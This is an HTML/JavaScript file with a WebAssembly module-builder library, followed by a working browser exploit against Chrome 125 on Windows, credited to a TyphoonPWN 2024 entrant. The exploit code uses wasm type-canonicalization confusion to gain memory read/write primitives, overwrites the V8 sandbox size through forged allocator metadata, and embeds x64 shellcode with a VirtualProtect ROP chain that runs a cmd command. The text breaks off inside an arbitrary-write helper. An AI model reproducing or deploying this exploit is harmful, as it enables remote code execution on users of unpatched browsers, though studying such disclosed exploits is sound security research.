          if (exports_count > 0) {
            if (debug) print("emitting exports @ " + binary.length);
            binary.emit_section(kExportSectionCode, (section) => {
              section.emit_u32v(exports_count);
              for (let exp of wasm.exports) {
                section.emit_string(exp.name);
                section.emit_u8(exp.kind);
                section.emit_u32v(exp.index);
              }
            });
          }
          // Add start function section.
          if (wasm.start_index !== undefined) {
            if (debug) print("emitting start function @ " + binary.length);
            binary.emit_section(kStartSectionCode, (section) => {
              section.emit_u32v(wasm.start_index);
            });
          }
          // Add element segments.
          if (wasm.element_segments.length > 0) {
            if (debug) print("emitting element segments @ " + binary.length);
            binary.emit_section(kElementSectionCode, (section) => {
              var segments = wasm.element_segments;
              section.emit_u32v(segments.length);
              for (let segment of segments) {
                // Emit flag and header.
                // Each case below corresponds to a flag from
                // https://webassembly.github.io/spec/core/binary/modules.html#element-section
                // (not in increasing order).
                if (segment.is_active()) {
                  if (segment.table == 0 && segment.type === undefined) {
                    if (segment.expressions_as_elements()) {
                      section.emit_u8(0x04);
                      section.emit_init_expr(segment.offset);
                    } else {
                      section.emit_u8(0x00);
                      section.emit_init_expr(segment.offset);
                    }
                  } else {
                    if (segment.expressions_as_elements()) {
                      section.emit_u8(0x06);
                      section.emit_u32v(segment.table);
                      section.emit_init_expr(segment.offset);
                      section.emit_type(segment.type);
                    } else {
                      section.emit_u8(0x02);
                      section.emit_u32v(segment.table);
                      section.emit_init_expr(segment.offset);
                      section.emit_u8(kExternalFunction);
                    }
                  }
                } else {
                  if (segment.expressions_as_elements()) {
                    if (segment.is_passive()) {
                      section.emit_u8(0x05);
                    } else {
                      section.emit_u8(0x07);
                    }
                    section.emit_type(segment.type);
                  } else {
                    if (segment.is_passive()) {
                      section.emit_u8(0x01);
                    } else {
                      section.emit_u8(0x03);
                    }
                    section.emit_u8(kExternalFunction);
                  }
                }
                // Emit elements.
                section.emit_u32v(segment.elements.length);
                for (let element of segment.elements) {
                  if (segment.expressions_as_elements()) {
                    section.emit_init_expr(element);
                  } else {
                    section.emit_u32v(element);
                  }
                }
              }
            });
          }
          // If there are any passive data segments, add the DataCount section.
          if (true /*wasm.data_segments.some(seg => !seg.is_active)*/) {
            binary.emit_section(kDataCountSectionCode, (section) => {
              section.emit_u32v(wasm.data_segments.length);
            });
          }
          // If there are compilation hints add a custom section 'compilationHints'
          // after the function section and before the code section.
          if (wasm.compilation_hints.length > 0) {
            if (debug) print("emitting compilation hints @ " + binary.length);
            // Build custom section payload.
            let payloadBinary = new Binary();
            let implicit_compilation_hints_count = wasm.functions.length;
            payloadBinary.emit_u32v(implicit_compilation_hints_count);
            // Defaults to the compiler's choice if no better hint was given (0x00).
            let defaultHintByte =
              kCompilationHintStrategyDefault |
              (kCompilationHintTierDefault << 2) |
              (kCompilationHintTierDefault << 4);
            // Emit hint byte for every function defined in this module.
            for (let i = 0; i < implicit_compilation_hints_count; i++) {
              let index = wasm.num_imported_funcs + i;
              var hintByte;
              if (index in wasm.compilation_hints) {
                let hint = wasm.compilation_hints[index];
                hintByte =
                  hint.strategy |
                  (hint.baselineTier << 2) |
                  (hint.topTier << 4);
              } else {
                hintByte = defaultHintByte;
              }
              payloadBinary.emit_u8(hintByte);
            }
            // Finalize as custom section.
            let name = "compilationHints";
            let bytes = this.createCustomSection(
              name,
              payloadBinary.trunc_buffer()
            );
            binary.emit_bytes(bytes);
          }
          // Add function bodies.
          if (wasm.functions.length > 0) {
            // emit function bodies
            if (debug) print("emitting code @ " + binary.length);
            let section_length = 0;
            binary.emit_section(kCodeSectionCode, (section) => {
              section.emit_u32v(wasm.functions.length);
              let header;
              for (let func of wasm.functions) {
                if (func.locals.length == 0) {
                  // Fast path for functions without locals.
                  section.emit_u32v(func.body.length + 1);
                  section.emit_u8(0); // 0 locals.
                } else {
                  // Build the locals declarations in separate buffer first.
                  if (!header) header = new Binary();
                  header.reset();
                  header.emit_u32v(func.locals.length);
                  for (let decl of func.locals) {
                    header.emit_u32v(decl.count);
                    header.emit_type(decl.type);
                  }
                  section.emit_u32v(header.length + func.body.length);
                  section.emit_bytes(header.trunc_buffer());
                }
                // Set to section offset for now, will update.
                func.body_offset = section.length;
                section.emit_bytes(func.body);
              }
              section_length = section.length;
            });
            for (let func of wasm.functions) {
              func.body_offset += binary.length - section_length;
            }
          }
          // Add data segments.
          if (wasm.data_segments.length > 0) {
            if (debug) print("emitting data segments @ " + binary.length);
            binary.emit_section(kDataSectionCode, (section) => {
              section.emit_u32v(wasm.data_segments.length);
              for (let seg of wasm.data_segments) {
                if (seg.is_active) {
                  if (seg.mem_index == 0) {
                    section.emit_u8(kActiveNoIndex);
                  } else {
                    section.emit_u8(kActiveWithIndex);
                    section.emit_u32v(seg.mem_index);
                  }
                  if (seg.is_global) {
                    // Offset is taken from a global.
                    section.emit_u8(kExprGlobalGet);
                    section.emit_u32v(seg.offset);
                  } else {
                    // Offset is a constant.
                    section.emit_bytes(wasmI32Const(seg.offset));
                  }
                  section.emit_u8(kExprEnd);
                } else {
                  section.emit_u8(kPassive);
                }
                section.emit_u32v(seg.data.length);
                section.emit_bytes(seg.data);
              }
            });
          }
          // Add any explicitly added sections.
          for (let exp of wasm.explicit) {
            if (debug) print("emitting explicit @ " + binary.length);
            binary.emit_bytes(exp);
          }
          // Add names.
          let num_function_names = 0;
          let num_functions_with_local_names = 0;
          for (let func of wasm.functions) {
            if (func.name !== undefined) ++num_function_names;
            if (func.numLocalNames() > 0) ++num_functions_with_local_names;
          }
          if (
            num_function_names > 0 ||
            num_functions_with_local_names > 0 ||
            wasm.name !== undefined
          ) {
            if (debug) print("emitting names @ " + binary.length);
            binary.emit_section(kUnknownSectionCode, (section) => {
              section.emit_string("name");
              // Emit module name.
              if (wasm.name !== undefined) {
                section.emit_section(kModuleNameCode, (name_section) => {
                  name_section.emit_string(wasm.name);
                });
              }
              // Emit function names.
              if (num_function_names > 0) {
                section.emit_section(kFunctionNamesCode, (name_section) => {
                  name_section.emit_u32v(num_function_names);
                  for (let func of wasm.functions) {
                    if (func.name === undefined) continue;
                    name_section.emit_u32v(func.index);
                    name_section.emit_string(func.name);
                  }
                });
              }
              // Emit local names.
              if (num_functions_with_local_names > 0) {
                section.emit_section(kLocalNamesCode, (name_section) => {
                  name_section.emit_u32v(num_functions_with_local_names);
                  for (let func of wasm.functions) {
                    if (func.numLocalNames() == 0) continue;
                    name_section.emit_u32v(func.index);
                    name_section.emit_u32v(func.numLocalNames());
                    let name_index = 0;
                    for (let i = 0; i < func.local_names.length; ++i) {
                      if (typeof func.local_names[i] == "string") {
                        name_section.emit_u32v(name_index);
                        name_section.emit_string(func.local_names[i]);
                        name_index++;
                      } else {
                        name_index += func.local_names[i];
                      }
                    }
                  }
                });
              }
            });
          }
          return binary.trunc_buffer();
        }
        toArray(debug = false) {
          return Array.from(this.toBuffer(debug));
        }
        instantiate(ffi, options) {
          let module = this.toModule(options);
          let instance = new WebAssembly.Instance(module, ffi);
          return instance;
        }
        asyncInstantiate(ffi) {
          return WebAssembly.instantiate(this.toBuffer(), ffi).then(
            ({ module, instance }) => instance
          );
        }
        toModule(options, debug = false) {
          return new WebAssembly.Module(this.toBuffer(debug), options);
        }
      }
      function wasmSignedLeb(val, max_len = 5) {
        if (val == null) throw new Error("Leb value may not be null/undefined");
        let res = [];
        for (let i = 0; i < max_len; ++i) {
          let v = val & 0x7f;
          // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.
          if ((v << 25) >> 25 == val) {
            res.push(v);
            return res;
          }
          res.push(v | 0x80);
          val = val >> 7;
        }
        throw new Error(
          "Leb value <" + val + "> exceeds maximum length of " + max_len
        );
      }
      function wasmSignedLeb64(val, max_len = 10) {
        if (val == null) throw new Error("Leb value may not be null/undefined");
        if (typeof val != "bigint") {
          if (val < Math.pow(2, 31)) {
            return wasmSignedLeb(val, max_len);
          }
          val = BigInt(val);
        }
        let res = [];
        for (let i = 0; i < max_len; ++i) {
          let v = val & 0x7fn;
          // If {v} sign-extended from 7 to 32 bits is equal to val, we are done.
          if (BigInt.asIntN(7, v) == val) {
            res.push(Number(v));
            return res;
          }
          res.push(Number(v) | 0x80);
          val = val >> 7n;
        }
        throw new Error(
          "Leb value <" + val + "> exceeds maximum length of " + max_len
        );
      }
      function wasmUnsignedLeb(val, max_len = 5) {
        if (val == null)
          throw new Error("Leb value many not be null/undefined");
        let res = [];
        for (let i = 0; i < max_len; ++i) {
          let v = val & 0x7f;
          if (v == val) {
            res.push(v);
            return res;
          }
          res.push(v | 0x80);
          val = val >>> 7;
        }
        throw new Error(
          "Leb value <" + val + "> exceeds maximum length of " + max_len
        );
      }
      function wasmI32Const(val) {
        return [kExprI32Const, ...wasmSignedLeb(val, 5)];
      }
      // Note: Since {val} is a JS number, the generated constant only has 53 bits of
      // precision.
      function wasmI64Const(val) {
        return [kExprI64Const, ...wasmSignedLeb64(val, 10)];
      }
      function wasmF32Const(f) {
        // Write in little-endian order at offset 0.
        data_view.setFloat32(0, f, true);
        return [
          kExprF32Const,
          byte_view[0],
          byte_view[1],
          byte_view[2],
          byte_view[3],
        ];
      }
      function wasmF64Const(f) {
        // Write in little-endian order at offset 0.
        data_view.setFloat64(0, f, true);
        return [
          kExprF64Const,
          byte_view[0],
          byte_view[1],
          byte_view[2],
          byte_view[3],
          byte_view[4],
          byte_view[5],
          byte_view[6],
          byte_view[7],
        ];
      }
      function wasmS128Const(f) {
        // Write in little-endian order at offset 0.
        if (Array.isArray(f)) {
          if (f.length != 16) throw new Error("S128Const needs 16 bytes");
          return [kSimdPrefix, kExprS128Const, ...f];
        }
        let result = [kSimdPrefix, kExprS128Const];
        if (arguments.length === 2) {
          for (let j = 0; j < 2; j++) {
            data_view.setFloat64(0, arguments[j], true);
            for (let i = 0; i < 8; i++) result.push(byte_view[i]);
          }
        } else if (arguments.length === 4) {
          for (let j = 0; j < 4; j++) {
            data_view.setFloat32(0, arguments[j], true);
            for (let i = 0; i < 4; i++) result.push(byte_view[i]);
          }
        } else {
          throw new Error(
            "S128Const needs an array of bytes, or two f64 values, " +
              "or four f32 values"
          );
        }
        return result;
      }
      let [wasmBrOnCast, wasmBrOnCastFail] = (function () {
        return [
          (labelIdx, sourceType, targetType) =>
            wasmBrOnCastImpl(labelIdx, sourceType, targetType, false),
          (labelIdx, sourceType, targetType) =>
            wasmBrOnCastImpl(labelIdx, sourceType, targetType, true),
        ];
        function wasmBrOnCastImpl(labelIdx, sourceType, targetType, brOnFail) {
          labelIdx = wasmUnsignedLeb(labelIdx, kMaxVarInt32Size);
          let srcHeap = wasmSignedLeb(sourceType.heap_type, kMaxVarInt32Size);
          let tgtHeap = wasmSignedLeb(targetType.heap_type, kMaxVarInt32Size);
          let srcIsNullable = sourceType.opcode == kWasmRefNull;
          let tgtIsNullable = targetType.opcode == kWasmRefNull;
          flags = (tgtIsNullable << 1) + srcIsNullable;
          return [
            kGCPrefix,
            brOnFail ? kExprBrOnCastFailGeneric : kExprBrOnCastGeneric,
            flags,
            ...labelIdx,
            ...srcHeap,
            ...tgtHeap,
          ];
        }
      })();
      function getOpcodeName(opcode) {
        return globalThis.kWasmOpcodeNames?.[opcode] ?? "unknown";
      }
      // Make a wasm export "promising" using JS Promise Integration.
      function ToPromising(wasm_export) {
        let sig = wasm_export.type();
        assertTrue(sig.parameters.length > 0);
        assertEquals("externref", sig.parameters[0]);
        let wrapper_sig = {
          parameters: sig.parameters.slice(1),
          results: ["externref"],
        };
        return new WebAssembly.Function(wrapper_sig, wasm_export, {
          promising: "first",
        });
      }
    </script>
    <script>
      async function exp() {
        function checkUA(chrome_leak) {
          if ((chrome_leak & 0xffffn) === 0xfd00n) {
            browser_type = "chrome";
            browser_version = "125.0.6422.113";
            base_leak_ofs = 0xd39fd00n;
            base_tgt_ofs = 0xd35ffb8n;
            fptr_xor = 0xff000000000000n;

            pivot_gadget = 0x895558en;
            pop_gadget = 0x67620cn;
            prax_ret = 0x6cd1n;
            jmp_drax = 0x1d1e7n;
            virtualprotect_iat_ofs = 0xd214850n;

            vtable_gadget = 0x96b3672n;
            vtable_rax = 0xd4dab30n;
            vtable_call_base = 0xd3125e8n;
          }

          if (window.browser_type === undefined) {
            console.log("[!] checkUA() fail!!!");
            console.log("[*] navigator.userAgent = " + navigator.userAgent);
            console.log("[*] chrome_leak = " + chrome_leak.toString(16));
          } else {
            console.log(
              "[+] checkUA() Browser: " +
                browser_type[0].toUpperCase() +
                browser_type.slice(1) +
                " " +
                browser_version
            );
          }
        }

        async function sleep(ms = 50) {
          await new Promise((r) => setTimeout(r, ms));
        }
        function hookLog() {
          const logTextarea = window.log;
          const ConsoleLog = console.log;
          console.realLog = ConsoleLog;
          console.log = (...args) => {
            logTextarea.value += args.join(" ") + "\n";
            ConsoleLog.apply(console, args);
          };
        }

        hookLog();
        console.log("[*] UA:", navigator.userAgent);
        await sleep();

        const nogc = [];
        const abs = [];
        let absctr = 0;
        for (let i = 0; i < 0x4000 / 0x40 - 1; i++) {
          abs.push(new ArrayBuffer(0x40));
        }
        new DataView(abs[0]).setBigUint64(0, 0x1337c0de1337da7an, false);

        const ab = new ArrayBuffer(0x20000);
        new DataView(ab).setBigUint64(0, 0xdeadbeefcafebaben, false);
        /*for (let i = 0; i < 0x180000 / 0x20000; i++) {
        nogc.push(new ArrayBuffer(0x20000));
    }*/

        // WinExec(sc+sc.len, 1)
        const sc = [
          0x48, 0x83, 0xec, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec,
          0x20, 0xe8, 0x44, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20,
          0x48, 0x8d, 0x15, 0xed, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24,
          0x20, 0xe8, 0x4a, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00,
          0x48, 0x8d, 0x0d, 0xe5, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d,
          0x15, 0xd6, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8,
          0x2b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0xb9, 0xff, 0xff, 0xff,
          0xff, 0xff, 0xd0, 0x48, 0x89, 0xd8, 0xeb, 0xf4, 0x65, 0x48, 0x8b,
          0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48,
          0x8b, 0x40, 0x20, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b,
          0x40, 0x20, 0xc3, 0x53, 0x57, 0x56, 0x41, 0x50, 0x48, 0x89, 0x4c,
          0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x30, 0x8b, 0x59, 0x3c, 0x48,
          0x01, 0xcb, 0x8b, 0x9b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xcb,
          0x44, 0x8b, 0x43, 0x18, 0x8b, 0x7b, 0x20, 0x48, 0x01, 0xcf, 0x48,
          0x31, 0xf6, 0x48, 0x31, 0xc0, 0x4c, 0x39, 0xc6, 0x73, 0x43, 0x8b,
          0x0c, 0xb7, 0x48, 0x03, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x54, 0x24,
          0x30, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x33, 0x00, 0x00, 0x00, 0x48,
          0x83, 0xc4, 0x28, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0,
          0x48, 0xff, 0xc6, 0xeb, 0xd4, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x8b,
          0x7b, 0x24, 0x48, 0x01, 0xcf, 0x48, 0x0f, 0xb7, 0x34, 0x77, 0x8b,
          0x7b, 0x1c, 0x48, 0x01, 0xcf, 0x8b, 0x04, 0xb7, 0x48, 0x01, 0xc8,
          0x41, 0x58, 0x5e, 0x5f, 0x5b, 0xc3, 0x53, 0x8a, 0x01, 0x8a, 0x1a,
          0x84, 0xc0, 0x74, 0x0c, 0x38, 0xd8, 0x75, 0x08, 0x48, 0xff, 0xc1,
          0x48, 0xff, 0xc2, 0xeb, 0xec, 0x28, 0xd8, 0x48, 0x0f, 0xbe, 0xc0,
          0x5b, 0xc3, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x53,
          0x6c, 0x65, 0x65, 0x70, 0x00,
        ];
        cmd =
          'cmd /c "title Pwned! & echo \x1b[4;97mPwned by Seunghyun Lee (Xion, @0x10n), for TyphoonPWN 2024\x1b[0m & echo \x1b[5;96m & echo    /$$$$$$$  /$$      /$$ /$$   /$$ /$$$$$$$$ /$$$$$$$  /$$ & echo   ^| $$__  $$^| $$  /$ ^| $$^| $$$ ^| $$^| $$_____/^| $$__  $$^| $$ & echo   ^| $$  \\ $$^| $$ /$$$^| $$^| $$$$^| $$^| $$      ^| $$  \\ $$^| $$ & echo   ^| $$$$$$$/^| $$/$$ $$ $$^| $$ $$ $$^| $$$$$   ^| $$  ^| $$^| $$ & echo   ^| $$____/ ^| $$$$_  $$$$^| $$  $$$$^| $$__/   ^| $$  ^| $$^|__/ & echo   ^| $$      ^| $$$/ \\  $$$^| $$\\  $$$^| $$      ^| $$  ^| $$     & echo   ^| $$      ^| $$/   \\  $$^| $$ \\  $$^| $$$$$$$$^| $$$$$$$/ /$$ & echo   ^|__/      ^|__/     \\__/^|__/  \\__/^|________/^|_______/ ^|__/ & echo \x1b[0m & cmd"';
        for (let i = 0; i < cmd.length; i++) {
          sc.push(cmd.charCodeAt(i));
        }
        sc.push(0x00);

        // prevent isorecursive group canonicalization merge
        function encodeTag(val, bitlen = 33) {
          return val
            .toString(2)
            .padStart(bitlen, "0")
            .split("")
            .reverse()
            .map((v) =>
              v === "0" ? makeField(kWasmI32, true) : makeField(kWasmI64, true)
            );
        }

        let reserveCtr = 0;
        function reserve(cnt) {
          const builder = new WasmModuleBuilder();
          builder.startRecGroup();
          builder.addStruct(encodeTag(++reserveCtr));
          for (let i = 0; i < cnt - 2; i++) {
            builder.addArray(kWasmI64);
            //builder.addType(kSig_v_v);
            //builder.addStruct([makeField(kWasmI64, true)]);
          }
          builder.addStruct([], cnt - 1); // self-ref -> err, halt wasm comp
          builder.endRecGroup();
          const buf = builder.toBuffer();
          try {
            const _ = new WebAssembly.Module(buf);
            console.log("no crash?????", reserveCtr);
          } catch (e) {
            if (e.toString().includes("forward-declared supertype")) {
              console.log(
                "[*] Reserved " + cnt + " isorecursive canonical type ids"
              );
            } else {
              console.log("caught wrong exc???", e, reserveCtr);
            }
          }
        }

        /*
        kFunc = kV8MaxWasmTypes,  // shorthand: c / 1000000
        kEq,                      // shorthand: q / 1000001
        kI31,                     // shorthand: j / 1000002
        kStruct,                  // shorthand: o / 1000003
        kArray,                   // shorthand: g / 1000004
        kAny,                     //              / 1000005 <- any (which is actually a struct) -> type
        kExtern,                  // shorthand: a./ 1000006
    */

        // R: int -> int* + read
        // W: int -> int* + write
        // addrOf: externref -> int
        // fakeObj: int -> externref

        // kNumberOfPredefinedTypes = 2
        reserve(1000000 - 2);
        reserve(0x100000 - 1000000);
        await sleep();

        // this two lines can be repeated (filling 20bits)
        //reserve(1000000);
        //reserve(0x100000 - 1000000);

        // 1. create any -> int casting functions
        reserve(1000000);
        reserve(5);
        {
          let builder = new WasmModuleBuilder();
          builder.startRecGroup();
          let struct = builder.addStruct([
            makeField(kWasmI32, true),
            makeField(kWasmI32, true),
          ]); // 1000005 (kAny)
          let funcSig = builder.addType(
            makeSig([wasmRefType(struct), kWasmI32], [kWasmI32])
          ); // 1000006
          let funcSig2 = builder.addType(makeSig([], [wasmRefType(struct)])); // 1000007
          builder.addStruct(encodeTag(0x133370000)); // 1000008
          builder.endRecGroup();
          builder
            .addFunction("i_init", funcSig2)
            .addBody([
              kExprI32Const,
              0,
              kExprI32Const,
              0,
              kGCPrefix,
              kExprStructNew,
              struct,
            ])
            .exportFunc();

          builder
            .addFunction("i_get0", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kGCPrefix,
              kExprStructGet,
              struct,
              ...wasmUnsignedLeb(0),
            ])
            .exportFunc();

          builder
            .addFunction("i_get1", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kGCPrefix,
              kExprStructGet,
              struct,
              ...wasmUnsignedLeb(1),
            ])
            .exportFunc();

          builder
            .addFunction("i_set0", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kExprLocalGet,
              1,
              kGCPrefix,
              kExprStructSet,
              struct,
              ...wasmUnsignedLeb(0),
              kExprLocalGet,
              1,
            ])
            .exportFunc();

          builder
            .addFunction("i_set1", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kExprLocalGet,
              1,
              kGCPrefix,
              kExprStructSet,
              struct,
              ...wasmUnsignedLeb(1),
              kExprLocalGet,
              1,
            ])
            .exportFunc();

          let instance = builder.instantiate();
          let wasm = instance.exports;

          i_init = wasm.i_init; // void -> struct {int, int}
          i_get0 = (v) => wasm.i_get0(v, 0); // any -> int (ofs 0)
          i_get1 = (v) => wasm.i_get1(v, 0); // any -> int (ofs 4)
          i_set0 = wasm.i_set0; // any, int -> void (ofs 0)
          i_set1 = wasm.i_set1; // any, int -> void (ofs 4)
        }
        reserve(0x100000 - 1000008);
        await sleep();

        // 2. create any -> int* casting read/write functions
        reserve(1000000);
        reserve(3);
        {
          let builder = new WasmModuleBuilder();
          builder.startRecGroup();
          let oneRef = builder.addStruct([makeField(kWasmI32, true)]); // 1000003, 1000004?
          let struct = builder.addStruct([
            makeField(wasmRefType(oneRef), false),
          ]); // 1000005 (kAny), 1000006?
          let funcSig = builder.addType(
            makeSig([wasmRefType(struct), kWasmI32], [kWasmI32])
          ); // 1000007
          builder.addStruct(encodeTag(0x133370001)); // 1000008
          builder.endRecGroup();

          builder
            .addFunction("ip_read", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kGCPrefix,
              kExprStructGet,
              struct,
              ...wasmUnsignedLeb(0), // oneRef = struct->oneRef
              kGCPrefix,
              kExprStructGet,
              oneRef,
              ...wasmUnsignedLeb(0), // i32 = oneRef->i32
            ])
            .exportFunc();

          builder
            .addFunction("ip_write", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kGCPrefix,
              kExprStructGet,
              struct,
              ...wasmUnsignedLeb(0), // oneRef = struct->oneRef
              kExprLocalGet,
              1,
              kGCPrefix,
              kExprStructSet,
              oneRef,
              ...wasmUnsignedLeb(0), // oneRef->i32 = val
              kExprLocalGet,
              1,
            ])
            .exportFunc();

          let instance = builder.instantiate();
          let wasm = instance.exports;

          ip_read = (v) => wasm.ip_read(v, 0); // any -> int (ofs 0)
          ip_write = wasm.ip_write; // any, int -> void (ofs 0)
        }
        reserve(0x100000 - 1000008);
        await sleep();

        // 3. create any -> externref casting functions
        const externRefDummy = {};
        reserve(1000000);
        reserve(5);
        {
          let builder = new WasmModuleBuilder();
          builder.startRecGroup();
          let struct = builder.addStruct([makeField(kWasmExternRef, true)]); // 1000005 (kAny)
          let funcSig = builder.addType(
            makeSig([wasmRefType(struct), kWasmExternRef], [kWasmExternRef])
          ); // 1000006
          let funcSig2 = builder.addType(
            makeSig([kWasmExternRef], [wasmRefType(struct)])
          ); // 1000007
          builder.addStruct(encodeTag(0x133370000)); // 1000008
          builder.endRecGroup();
          builder
            .addFunction("e_init", funcSig2)
            .addBody([kExprLocalGet, 0, kGCPrefix, kExprStructNew, struct])
            .exportFunc();

          builder
            .addFunction("e_get", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kGCPrefix,
              kExprStructGet,
              struct,
              ...wasmUnsignedLeb(0),
            ])
            .exportFunc();

          builder
            .addFunction("e_set", funcSig)
            .addBody([
              kExprLocalGet,
              0,
              kExprLocalGet,
              1,
              kGCPrefix,
              kExprStructSet,
              struct,
              ...wasmUnsignedLeb(0),
              kExprLocalGet,
              1,
            ])
            .exportFunc();

          let instance = builder.instantiate();
          let wasm = instance.exports;

          e_init = () => wasm.e_init(externRefDummy); // void -> struct {externref}
          e_get = (v) => wasm.e_get(v, externRefDummy); // any -> externref (ofs 0)
          e_set = wasm.e_set; // any, externref -> void (ofs 0)
        }
        reserve(0x100000 - 1000008);
        await sleep();

        const E = e_init();
        const I = i_init();
        const arr = [1.1, 2.2, 0x101, 0x202, 0x2345678];

        const conv_ab = new ArrayBuffer(8);
        const conv_dv = new DataView(conv_ab);

        function i2u32(val) {
          conv_dv.setInt32(0, val, true);
          return conv_dv.getUint32(0, true);
        }
        function u2i32(val) {
          conv_dv.setUint32(0, val, true);
          return conv_dv.getInt32(0, true);
        }
        function caged_read(ofs) {
          i_set0(I, ofs - 7);
          return i2u32(ip_read(I));
        }
        function caged_write(ofs, val) {
          i_set0(I, ofs - 7);
          ip_write(I, u2i32(val));
        }
        function addrOf(obj) {
          e_set(E, obj);
          return i2u32(i_get0(E));
        }
        function fakeObj(ofs) {
          i_set0(ofs);
          return e_get(E);
        }

        const ab_addr = addrOf(ab);
        /*for (let i = 0; i < 0x30; i++) {
        console.log(i.toString(16), caged_read(ab_addr + i).toString(16));
    }*/

        // length overwrite
        caged_write(ab_addr + 0x16, 0x200000 << 5);
        caged_write(ab_addr + 0x1e, 0x200000 << 5);

        // offset overwrite (to zero!)
        caged_write(ab_addr + 0x26, 0); // 0x00014000 -> 0

        const dv = new DataView(ab);

        /*for (let i = 0x80; i < 0xa0; i += 8) {
        console.log(i.toString(16).padStart(3, '0'), dv.getBigUint64(0x1000 + i, true).toString(16));
    }

    for (let i = 0; i < 8; i++) {
        const ofs = 0x10000 + i * 0x1000;
        console.log(ofs.toString(16).padStart(3, '0'), dv.getBigUint64(ofs, true).toString(16));
        await sleep();
    }*/

        const chrome_leak = dv.getBigUint64(0x1090, true);
        const ab_pa_leak = dv.getBigUint64(0x1080, true); // assert &0x1fffff == 0x13fc0
        const ab_partition_base = ab_pa_leak & ~0x1ffffn;

        console.log("[+] chrome_leak:", chrome_leak.toString(16));
        console.log("[+] ab_pa_leak:", ab_pa_leak.toString(16));

        checkUA(chrome_leak);
        const chrome_base = chrome_leak - base_leak_ofs;
        console.log("[+] chrome_base:", chrome_base.toString(16));
        console.log("[*] ab_partition_base:", ab_partition_base.toString(16));
        await sleep();

        // sbx escape via metadata->bucket forgery:
        //   1. bucket->active_slot_spans_head = metadata => arbitrary address, known value write
        //   2. --bucket->num_full_slot_spans
        //   (constraints for both: bucket->num_full_slot_spans > 0)
        // ...and many more
        // use it to overwrite Sandbox size
        dv.setBigUint64(
          0x1090,
          chrome_base + base_tgt_ofs + 0x28n + 0x2n,
          true
        ); // size = base << (2 * 8), covers all 64bit canonical addressing space
        dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true);
        abs[absctr++].transfer(0);
        console.log("[+] Sandbox size overwritten");
        //dv.setBigUint64(0x1088, 0n, true);
        await sleep();

        /*for (let i = 0x60; i < 0xa0; i += 8) {
        console.log(i.toString(16).padStart(3, '0'), dv.getBigUint64(0x1000 + i, true).toString(16));
    }*/

        // shellcode: [0x14000, 0x16000)
        // ropchain: 0x1e000
        // lpflOldProtect: 0x1eff0
        // vtable: [0x1f000, 0x20000)
        // scratchpad for fake bucket: [0x20000, +sizeof(bucket))
        // scratchpad for opt: [0x21000, ...)
        for (let i = 0; i < sc.length; i++) {
          dv.setUint8(0x14000 + i, sc[i]);
        }

        // VirtualProtect(base+0x10000, 0xf0000, PAGE_EXECUTE_READ, lpflOldProtect)
        function set_rop(ofs, val) {
          dv.setBigUint64(0x1e000 + ofs, val, true);
        }
        set_rop(0x0, chrome_base + pop_gadget);
        set_rop(0x8, ab_partition_base + 0x14000n); // rcx
        set_rop(0x10, 0x2000n); // rdx
        set_rop(0x18, 0x20n); // r8 = PAGE_EXECUTE_READ
        set_rop(0x20, ab_partition_base + 0x1eff0n); // r9 = lpflOldProtect
        set_rop(0x28, 0n); // r10
        set_rop(0x30, chrome_base + prax_ret);
        set_rop(0x38, chrome_base + virtualprotect_iat_ofs); // rax = &kernel32.VirtualProtect
        set_rop(0x40, chrome_base + jmp_drax); // jmp qword ptr [rax]
        set_rop(0x48, ab_partition_base + 0x14000n); // shellcode

        for (let i = 0; i < 0x1000; i += 0x10) {
          dv.setBigUint64(
            0x1f000 + i,
            (chrome_base + vtable_gadget) ^ fptr_xor,
            true
          );
          //dv.setBigUint64(0x1f000 + i, 0xdeadbeefcafe0000n + BigInt(i / 0x10), true);
        }

        console.log("[+] shellcode / ropchain / vtable init complete");

        // helper function to recursively zero out a memory region via primitive #1 (two top zero bytes), with collateral damage to [base-6, base) and [base+0x17, base+len+0x1f)
        // ! WARNING ! caller must assert PA_CHECK(bucket->num_full_slot_spans) for all strides (descending from len - 2 by stride 2)
        // use only for small len (under 0x16) as it will eventually overwrite itself
        function zero_out(base, len, stride = 2) {
          for (let ofs = len - 2; ofs >= 0; ofs -= stride) {
            dv.setBigUint64(0x1090, base + BigInt(ofs) - 6n, true);
            dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true); // meta->marked_full = 1
            abs[absctr++].transfer(0);
          }
        }

        // helper function for arbitrary addr & value write
        // caller must assert nullity of [target-8], [target], [target+0x10]
        function arb_write(target, value) {
          // save current freelist_head
          const freelist_head_orig = dv.getBigUint64(0x1080, true);
          dv.setBigUint64(0x1080, ab_partition_base + 0x10000n, true); // meta->freelist_head = non-null

          const new_bitfield =
            (dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) | 2n;
          dv.setBigUint64(0x1088, target - 8n, true); // meta->next_slot_span = target - 8
          dv.setBigUint64(0x1090, ab_partition_base + 0x20000n, true); // meta->bucket = bucket
